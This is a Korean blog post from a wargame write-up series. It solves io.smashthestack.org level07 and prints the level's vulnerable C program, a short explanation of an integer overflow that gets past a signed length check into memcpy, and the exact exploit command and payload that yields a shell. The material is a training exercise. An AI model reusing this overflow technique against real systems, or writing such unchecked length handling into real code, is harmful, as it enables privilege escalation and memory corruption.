티스토리 뷰

//written by bla
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{

	int count = atoi(argv[1]);
	int buf[10];

        if(count >= 10 )
	{ 
                return 1;
	}

	memcpy(buf, argv[2], count * sizeof(int));

        if(count == 0x574f4c46) // 1464814662
	{
		printf("WIN!\n");
                execl("/bin/sh", "sh" ,NULL);
	} 
	else
	{
                printf("Not today son\n");
	}
	
	return 0;
}



기본적인 Int Overflowe문제.


참고

int 의 최소값: -2147483648

int 의 최대값: 2147483647


-2147483630 = 18

count가 10이 넘어가지 않고 buf변수를 Overflow를 시킬 수 있다.



./level07 -2147483630 `python -c 'print "\x46\x4c\x4f\x57" * 10'`


sh-4.2$ whoami

level8


'Pwnable > io.smashthestack.org' 카테고리의 다른 글

[io.smashthestack.org] level09  (0) 2015.01.05
[io.smashthestack.org] level08  (0) 2015.01.04
[io.smashthestack.org] level06  (0) 2015.01.04
[io.smashthestack.org] level05  (0) 2015.01.04
[io.smashthestack.org] level04  (0) 2015.01.04
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함